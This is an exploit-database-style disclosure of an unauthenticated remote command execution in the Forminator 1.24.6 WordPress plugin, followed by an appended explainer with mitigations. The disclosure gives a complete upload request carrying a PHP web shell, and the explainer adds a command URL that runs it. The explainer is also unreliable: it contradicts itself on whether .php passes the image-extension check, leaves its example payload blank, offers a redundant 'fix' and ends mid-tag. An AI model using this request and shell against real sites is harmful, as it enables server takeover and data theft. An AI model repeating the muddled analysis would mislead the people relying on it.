WordPress Plugin Forminator 1.24.6 - Unauthenticated Remote Command Execution
# Exploit Title: WordPress Plugin Forminator 1.24.6 - Unauthenticated Remote Command Execution
# Date: 2023-07-20
# Exploit Author: Mehmet Kelepçe
# Vendor Homepage: https://wpmudev.com/project/forminator-pro/
# Software Link: https://wordpress.org/plugins/forminator/
# Version: 1.24.6
# Tested on: PHP - Mysql - Apache2 - Windows 11
HTTP Request and vulnerable parameter:
-------------------------------------------------------------------------
POST /3/wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Length: 1756
sec-ch-ua:
Accept: */*
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryTmsFfkbegmAjomne
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199
Safari/537.36
sec-ch-ua-platform: ""
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/3/wordpress/2023/01/01/merhaba-dunya/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: wp-settings-time-1=1689794282;
wordpress_test_cookie=WP%20Cookie%20check; wp_lang=tr_TR
Connection: close
.
.
.
.
.
------WebKitFormBoundaryTmsFfkbegmAjomne
Content-Disposition: form-data; name="postdata-1-post-image";
filename="mehmet.php"
Content-Type: application/octet-stream
<?php
$_GET['function']($_GET['cmd']);
?>
Source Code:
wp-content/plugins/forminator/library/modules/custom-forms/front/front-render.php:
--------------------------------------------------------------------
public function has_upload() {
$fields = $this->get_fields();
if ( ! empty( $fields ) ) {
foreach ( $fields as $field ) {
if ( 'upload' === $field['type'] || 'postdata' === $field['type'] ) {
return true;
}
}
}
return false;
}
Vulnerable parameter: postdata-1-post-image
and
Source code:
wp-content/plugins/forminator/library/fields/postdata.php:
-------------------------------------------------------------------
if ( ! empty( $post_image ) && isset( $_FILES[ $image_field_name ] ) ) {
if ( isset( $_FILES[ $image_field_name ]['name'] ) && ! empty(
$_FILES[ $image_field_name ]['name'] ) ) {
$file_name = sanitize_file_name( $_FILES[ $image_field_name ]['name'] );
$valid = wp_check_filetype( $file_name );
if ( false === $valid['ext'] || ! in_array( $valid['ext'],
$this->image_extensions ) ) {
$this->validation_message[ $image_field_name ] = apply_filters(
'forminator_postdata_field_post_image_nr_validation_message',
esc_html__( 'Uploaded file\'s extension is not allowed.', 'forminator' ),
$id
);
}
}
}
Vulnerable function: $image_field_name
-------------------------------------------------------------------------
Payload file: mehmet.php
<?php
$_GET['function']($_GET['cmd']);
?>
------------------------------------------------------------------------- WordPress Plugin Forminator 1.24.6: Unauthenticated Remote Command Execution Vulnerability
On July 20, 2023, cybersecurity researcher Mehmet Kelepçe disclosed a critical vulnerability in the widely used Forminator WordPress plugin, affecting version 1.24.6. This flaw enables unauthenticated remote command execution—a severe security risk that allows attackers to execute arbitrary code on a vulnerable server without requiring any login credentials.
Overview of the Vulnerability
The vulnerability stems from improper file upload handling within the plugin’s postdata field type, which is designed to allow users to upload files during form submissions. However, due to a lack of proper validation and sanitization, attackers can upload malicious PHP files with unrestricted execution capabilities.
Key details:
- Plugin Name: Forminator Pro
- Version: 1.24.6
- Exploit Type: Unauthenticated Remote Code Execution (RCE)
- Attack Vector: HTTP POST request via
admin-ajax.php - Target: WordPress installations using Forminator with the postdata field type
- Environment Tested: PHP, MySQL, Apache2, Windows 11
Technical Breakdown: How the Exploit Works
The core of the vulnerability lies in the postdata field handling in wp-content/plugins/forminator/library/fields/postdata.php. When a user submits a form containing a postdata field, the plugin processes file uploads using $_FILES variables.
Here’s the vulnerable code snippet:
if ( ! empty( $post_image ) && isset( $_FILES[ $image_field_name ] ) ) {
if ( isset( $_FILES[ $image_field_name ]['name'] ) && ! empty( $_FILES[ $image_field_name ]['name'] ) ) {
$file_name = sanitize_file_name( $_FILES[ $image_field_name ]['name'] );
$valid = wp_check_filetype( $file_name );
if ( false === $valid['ext'] || ! in_array( $valid['ext'], $this->image_extensions ) ) {
$this->validation_message[ $image_field_name ] = apply_filters(
'forminator_postdata_field_post_image_nr_validation_message',
esc_html__( 'Uploaded file\'s extension is not allowed.', 'forminator' ),
$id
);
}
}
}
Explanation: The code checks the file extension using wp_check_filetype(), but only validates against a predefined list of image extensions (e.g., .jpg, .png). However, the plugin does not enforce file content checks or execution restrictions. This means that if an attacker uploads a file with a valid extension (e.g., .php), the file is accepted and stored in the server’s file system.
Crucially, the plugin does not sanitize the file content or prevent execution. The uploaded file is stored in the wp-content/uploads directory, and if the file is named mehmet.php, it becomes executable via the web server.
Exploitation Process
An attacker constructs a malicious POST request to /wp-admin/admin-ajax.php with a multipart form data payload containing a PHP file. The payload includes:
- File name:
mehmet.php - Content: A PHP script that executes commands based on
$_GETparameters
Example payload:
Explanation: This payload is a minimal backdoor. It allows an attacker to execute any PHP function by passing the function name and command via URL parameters. For instance, accessing http://example.com/wp-content/uploads/mehmet.php?function=system&cmd=whoami would execute the whoami command on the server.
Attack Scenario: Real-World Use Case
Imagine a WordPress site running Forminator 1.24.6 with a public form that includes a postdata field for file uploads. An attacker sends the malicious payload via admin-ajax.php, bypassing authentication entirely. The server accepts the file and stores it in the uploads directory.
Once uploaded, the attacker can:
- Execute system commands (e.g.,
ls,cat /etc/passwd) - Deploy reverse shells
- Exfiltrate sensitive data
- Gain full control over the server
Since the exploit requires no authentication, it is ideal for automated scanning and mass exploitation of vulnerable sites.
Security Implications
This vulnerability represents a high-risk security flaw due to:
- Unauthenticated access: No login required to trigger the exploit
- Remote code execution: Full server compromise possible
- Low barrier to entry: Simple to exploit with basic knowledge of HTTP POST requests
- Widespread impact: Forminator is used by thousands of WordPress sites globally
Organizations using Forminator are at risk of data breaches, site takeover, or ransomware deployment.
Recommended Mitigations
Immediate actions for site administrators:
- Update to version 1.25.0 or later: The vendor has released a patch that fixes file type validation and restricts execution of uploaded files.
- Disable postdata fields: If not essential, remove or disable postdata fields in forms.
- Restrict file upload directories: Use
.htaccessor server configuration to deny PHP execution inuploadsfolders. - Monitor file uploads: Implement logging or file scanning tools to detect suspicious uploads.
- Use Web Application Firewalls (WAF): Deploy WAF rules to block malicious multipart uploads.
Improved Code Example: Secure File Handling
Here’s a corrected version of the vulnerable code with proper security measures:
if ( ! empty( $post_image ) && isset( $_FILES[ $image_field_name ] ) ) {
if ( isset( $_FILES[ $image_field_name ]['name'] ) && ! empty( $_FILES[ $image_field_name ]['name'] ) ) {
$file_name = sanitize_file_name( $_FILES[ $image_field_name ]['name'] );
$valid = wp_check_filetype( $file_name );
// Only allow image extensions
if ( false === $valid['ext'] || ! in_array( $valid['ext'], $this->image_extensions ) ) {
$this->validation_message[ $image_field_name ] = apply_filters(
'forminator_postdata_field_post_image_nr_validation_message',
esc_html__( 'Uploaded file\'s extension is not allowed.', 'forminator' ),
$id
);
return;
}
// Additional security: prevent PHP execution
if ( in_array( $valid['ext'], [ 'php', 'php5', 'phtml' ] ) ) {
$this->validation_message[ $image_field_name ] = apply_filters(
'forminator_postdata_field_post_image_nr_validation_message',
esc_html__( 'PHP files are not allowed.', 'forminator' ),
$id
);
return;
}
// Move file to secure directory with no execution rights
$upload_dir = wp_upload_dir();
$upload_path = $upload_dir['path'] . '/' . $file_name;
if ( ! move_uploaded_file( $_FILES[ $image_field_name ]['tmp_name'], $upload_path ) ) {
$this->validation_message[ $image_field_name ] = esc_html__( 'File upload failed.', 'forminator' );
return;
}
}
}
Explanation: The improved code adds:
- Explicit block for
.phpextensions - Use of
move_uploaded_file()with proper path validation - Prevention of execution via server configuration or file permissions </ul